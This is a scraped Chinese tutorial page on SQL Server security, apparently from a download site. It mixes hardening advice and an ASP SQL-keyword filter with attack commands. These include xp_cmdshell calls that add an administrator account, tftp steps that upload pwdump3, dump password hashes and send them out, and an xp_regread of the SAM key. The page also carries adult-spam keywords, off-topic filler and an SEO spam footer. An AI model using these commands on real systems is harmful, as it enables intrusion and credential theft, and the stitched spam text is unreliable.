人人做人人澡人人爽欧美,国产主播一区二区,久久久精品五月天,羞羞视频在线观看免费

當(dāng)前位置:蘿卜系統(tǒng) > 網(wǎng)絡(luò)技術(shù)教程 > 詳細(xì)頁(yè)面

從IIS到SQL Server數(shù)據(jù)庫(kù)安全

從IIS到SQL Server數(shù)據(jù)庫(kù)安全

更新時(shí)間:2021-05-09 文章作者:未知 信息來(lái)源:網(wǎng)絡(luò) 閱讀次數(shù):



網(wǎng)絡(luò)的神奇作用吸引著越來(lái)越多的用戶加入其中,正因如此,網(wǎng)絡(luò)的承受能力也面臨著越來(lái)越嚴(yán)峻的考驗(yàn)―從硬件上、軟件上、所用標(biāo)準(zhǔn)上......,各項(xiàng)技術(shù)都需要適時(shí)應(yīng)勢(shì),對(duì)應(yīng)發(fā)展,這正是網(wǎng)絡(luò)迅速走向進(jìn)步的催化劑。

網(wǎng)絡(luò)技術(shù)是從1990年代中期發(fā)展起來(lái)的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機(jī)整體,實(shí)現(xiàn)資源的全面共享和有機(jī)協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計(jì)算機(jī)、存儲(chǔ)資源、數(shù)據(jù)資源、信息資源、知識(shí)資源、專家資源、大型數(shù)據(jù)庫(kù)、網(wǎng)絡(luò)、傳感器等。 當(dāng)前的互聯(lián)網(wǎng)只限于信息共享,網(wǎng)絡(luò)則被認(rèn)為是互聯(lián)網(wǎng)發(fā)展的第三階段。

從codered到nimda等,一大堆蠕蟲(chóng)把原來(lái)需要人工利用的漏洞都變成了程序自動(dòng)利用了,大家還想去手工操作這些IIS漏洞么?讓我們調(diào)整重心,去看看服務(wù)器常用的數(shù)據(jù)庫(kù)吧。

一般網(wǎng)站都是基于數(shù)據(jù)庫(kù)的,特別是ASP、PHP、JSP這樣的用數(shù)據(jù)庫(kù)來(lái)動(dòng)態(tài)顯示的網(wǎng)站。很多網(wǎng)站可能多注意的是操作系統(tǒng)的漏洞,但是對(duì)數(shù)據(jù)庫(kù)和這些腳本的安全總是忽略,也沒(méi)有太多注意。

從最比較普遍的腳本問(wèn)題開(kāi)始,這些都是老話題了,大家可以參考Hectic寫(xiě)的《關(guān)于數(shù)據(jù)庫(kù)的簡(jiǎn)單入侵和無(wú)賴破壞,以天融信做例子》,該文章對(duì)從SQL腳本問(wèn)題說(shuō)得非常詳細(xì)。對(duì)于腳本安全的解決,也可以通過(guò)過(guò)濾來(lái)實(shí)現(xiàn),可以參考我以前寫(xiě)的。對(duì)于ASP來(lái)說(shuō),可以使用下面這個(gè)過(guò)濾函數(shù):

Function Filter_SQL(strData)
Dim strFilter
Dim blnFlag
Dim i
strFilter="’,;,//,--,@,_,exec,declare" ’需要過(guò)濾的字符,可以自己添加,","是分隔符

blnFlag=Flase ’過(guò)濾標(biāo)志,如果產(chǎn)生過(guò)濾,那么就是真
Dim arrayFilter
arrayFilter=Split(strFilter,",")
For i=0 To UBound(arrayFilter)
If Instr(strData,arrayFilter(i))>0 Then
blnFlag=True
Exit For
End If
Next
If blnFlag Then
Response.Redirect "wrong.asp"
’當(dāng)發(fā)現(xiàn)有過(guò)濾操作時(shí),導(dǎo)向一個(gè)預(yù)定頁(yè)面。反正正常訪問(wèn)用不到的連接請(qǐng)求,總不是好事情。
Else
Filter_SQL=strData
End If
End Function
對(duì)于MS SQL
Server數(shù)據(jù)庫(kù)來(lái)說(shuō),安全問(wèn)題不僅僅局限在腳本上了。“天殺的微軟”的系統(tǒng)性很強(qiáng),整個(gè)基于WINDOWS系統(tǒng)的應(yīng)用都有很強(qiáng)的關(guān)聯(lián)性,對(duì)SQL
Server來(lái)說(shuō),基本可以把數(shù)據(jù)庫(kù)管理和系統(tǒng)管理等同起來(lái)了。SQL
Server默認(rèn)的管理員帳號(hào)“sa”的密碼是空的,這給多數(shù)NT服務(wù)器產(chǎn)生一個(gè)安全漏洞。小榕的“SQLRCMD”,就能夠利用獲得的數(shù)據(jù)庫(kù)管理員帳號(hào)執(zhí)行系統(tǒng)命令。

在SQL Server中有很多系統(tǒng)存儲(chǔ)過(guò)程,有些是數(shù)據(jù)庫(kù)內(nèi)部使用的,還有一些就是通過(guò)執(zhí)行存儲(chǔ)過(guò)程來(lái)調(diào)用系統(tǒng)命令。
系統(tǒng)存儲(chǔ)過(guò)程:xp_cmdshell
就是以操作系統(tǒng)命令行解釋器的方式執(zhí)行給定的命令字符串。它就具體語(yǔ)法是:xp_cmdshell
{’command_string’} [, no_output]
xp_cmdshell在默認(rèn)情況下,只有 sysadmin
的成員才能執(zhí)行。但是,sysadmin也可以授予其他用戶這個(gè)執(zhí)行權(quán)限。在早期版本中,獲得 xp_cmdshell

執(zhí)行權(quán)限的用戶在 SQL Server 服務(wù)的用戶帳戶中運(yùn)行命令。可以通過(guò)配置選項(xiàng)配置 SQL Server,以便對(duì) SQL
Server 無(wú) sa 訪問(wèn)權(quán)限的用戶能夠在SQLExecutiveCmdExec Windows NT 帳戶中運(yùn)行
xp_cmdshell。在 SQL Server 7.0 中,該帳戶稱為 SQLAgentCmdExec。現(xiàn)在對(duì)于SQL
Server2000,只要有一個(gè)能執(zhí)行該存儲(chǔ)過(guò)程的帳號(hào)就可以直接運(yùn)行命令了。
對(duì)于 NT 和 WIN2000,當(dāng)用戶不是 sysadmin 組的成員時(shí),xp_cmdshell 將模擬使用
xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帳戶。如果代理帳戶不能用,則
xp_cmdshell 將失敗。所以即使有一個(gè)帳戶是master數(shù)據(jù)庫(kù)的db_owner,也不能執(zhí)行這個(gè)存儲(chǔ)過(guò)程。
如果我們有一個(gè)能執(zhí)行xp_cmdshell的數(shù)據(jù)庫(kù)帳號(hào),比如是空口令的sa帳號(hào)。那么我們可以執(zhí)行這樣的命令:
exec xp_cmdshell ’net user refdom 123456 /add’
exec xp_cmdshell ’net localgroup administrators refdom /add’
上面兩次調(diào)用就在系統(tǒng)的管理員組中添加了一個(gè)用戶:refdom
當(dāng)我們獲得數(shù)據(jù)庫(kù)的sa管理員帳號(hào)后,就應(yīng)該可以完全控制這個(gè)機(jī)器了。可見(jiàn)數(shù)據(jù)庫(kù)安全的重要性。
下面這些存儲(chǔ)過(guò)程都是對(duì)Public可以執(zhí)行的:
xp_fileexist,用來(lái)確定一個(gè)文件是否存在。
xp_getfiledetails,可以獲得文件詳細(xì)資料。
xp_dirtree,可以展開(kāi)你需要了解的目錄,獲得所有目錄深度。
Xp_getnetname,可以獲得服務(wù)器名稱。
還有可以操作注冊(cè)表的存儲(chǔ)過(guò)程,這些不是對(duì)Public可以執(zhí)行的,需要系統(tǒng)管理員或者授權(quán)執(zhí)行:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread (對(duì)Public可以執(zhí)行)
Xp_regremovemultistring
Xp_regwrite

SQL Server的安全配置
除跟著微軟打滿所有補(bǔ)丁外,還需要加強(qiáng)數(shù)據(jù)庫(kù)的安全。
首先,你需要加強(qiáng)象sa這樣的帳號(hào)的密碼,跟系統(tǒng)帳號(hào)的使用配置相似,一般操作數(shù)據(jù)庫(kù)不要使用象sa這樣的最高權(quán)限的帳號(hào),而使用能滿足你的要求的一般帳號(hào)。

接著對(duì)擴(kuò)展存儲(chǔ)過(guò)程開(kāi)始大屠殺,首先就是xp_cmdshell,還有就是上面那些一大堆存儲(chǔ)過(guò)程,都drop吧,一般也用不著。
執(zhí)行:
use master
sp_dropextendedproc ’xp_cmdshell’
去掉guest帳號(hào),阻止非授權(quán)用戶訪問(wèn)。
去掉不必要的網(wǎng)絡(luò)協(xié)議。
加強(qiáng)對(duì)數(shù)據(jù)庫(kù)登陸的日志記錄,最好記錄所有登陸事件。可以用下面的簡(jiǎn)單DOS命令來(lái)查看日志:
findstr /C:"登錄" d:\Microsoft SQL Server\MSSQL\LOG\*.*
用管理員帳號(hào)定期檢查所有帳號(hào),是否密碼為空或者過(guò)于簡(jiǎn)單,比如下面的語(yǔ)句:
Use master
Select name,Password from syslogins where password is null
用下面語(yǔ)句對(duì)所有帳號(hào),檢查對(duì)存儲(chǔ)過(guò)程和擴(kuò)展存儲(chǔ)過(guò)程的執(zhí)行權(quán),提防不必要的執(zhí)行權(quán)限擴(kuò)散:
Use master
Select sysobjects.name From sysobjects, sysprotects Where
sysprotects.uid = 0 AND xtype IN (’X’,’P’) AND sysobjects.id =
sysprotects.id
加強(qiáng)數(shù)據(jù)庫(kù)的安全是非常重要的,有的數(shù)據(jù)庫(kù)服務(wù)器是和WEB服務(wù)器隔離開(kāi)的,這就同MAIL服務(wù)器一樣,數(shù)據(jù)庫(kù)的日志可能就基本很少去查看,這將會(huì)成為管理員的一個(gè)疏忽點(diǎn)。類似DNS、MAIL等等,數(shù)據(jù)庫(kù)服務(wù)器往往成為各種入侵的跳板。

下面是一些關(guān)于數(shù)據(jù)庫(kù)的問(wèn)答和技巧:
1、獲得SA權(quán)限后,卻不能執(zhí)行xp_cmdshell存儲(chǔ)過(guò)程怎么辦?
答:可能是已經(jīng)把xp_cmdshell等擴(kuò)展存儲(chǔ)過(guò)程刪除了,可以用這個(gè)存儲(chǔ)過(guò)程把xp_cmdshell恢復(fù)。
sp_addextendedproc ’xp_cmdshell’, ’xpsql70.dll’
2、通過(guò)數(shù)據(jù)庫(kù)用pwdump獲得系統(tǒng)管理員密碼
先上傳一個(gè)pwdump
tftp -i GET pwdump3.exe pwdump3.exe
tftp -i GET lsaext.dll lsaext.dll
tftp -i GET pwservice.exe pwservice.exe
pwdump3 127.0.0.1 outfile.txt
tftp PUT outfile.txt outfile.txt
然后再用解密工具l0pht等等破解這些密碼。
3、從數(shù)據(jù)庫(kù)讀取系統(tǒng)管理員密碼。
能讀出加密的密碼是NT的"administrator"帳號(hào)也不能做的,SQL
Server能讀出來(lái)是使用的“LocalSystem”帳號(hào),這個(gè)帳號(hào)比administrator更高一級(jí)。可以使用下面這個(gè)存儲(chǔ)過(guò)程。不過(guò)讀出來(lái)的密碼是經(jīng)過(guò)加密后的,然后再解密吧。

xp_regread
’HKEY_LOCAL_MACHINE’,’SECURITY\SAM\Domains\Account’,’F’

溫馨提示:喜歡本站的話,請(qǐng)收藏一下本站!

本類教程下載

系統(tǒng)下載排行

網(wǎng)站地圖xml | 網(wǎng)站地圖html
主站蜘蛛池模板: 江西省| 通州区| 泰和县| 分宜县| 上虞市| 金山区| 宁阳县| 开封市| 铁岭县| 威远县| 千阳县| 武鸣县| 大庆市| 布拖县| 剑河县| 鞍山市| 双鸭山市| 永泰县| 名山县| 瓦房店市| 周至县| 喀喇沁旗| 开平市| 辉南县| 察雅县| 清丰县| 巴马| 普洱| 云霄县| 长沙县| 碌曲县| 阳山县| 南乐县| 隆安县| 屏东县| 高雄县| 锡林浩特市| 龙胜| 大洼县| 西安市| 延安市|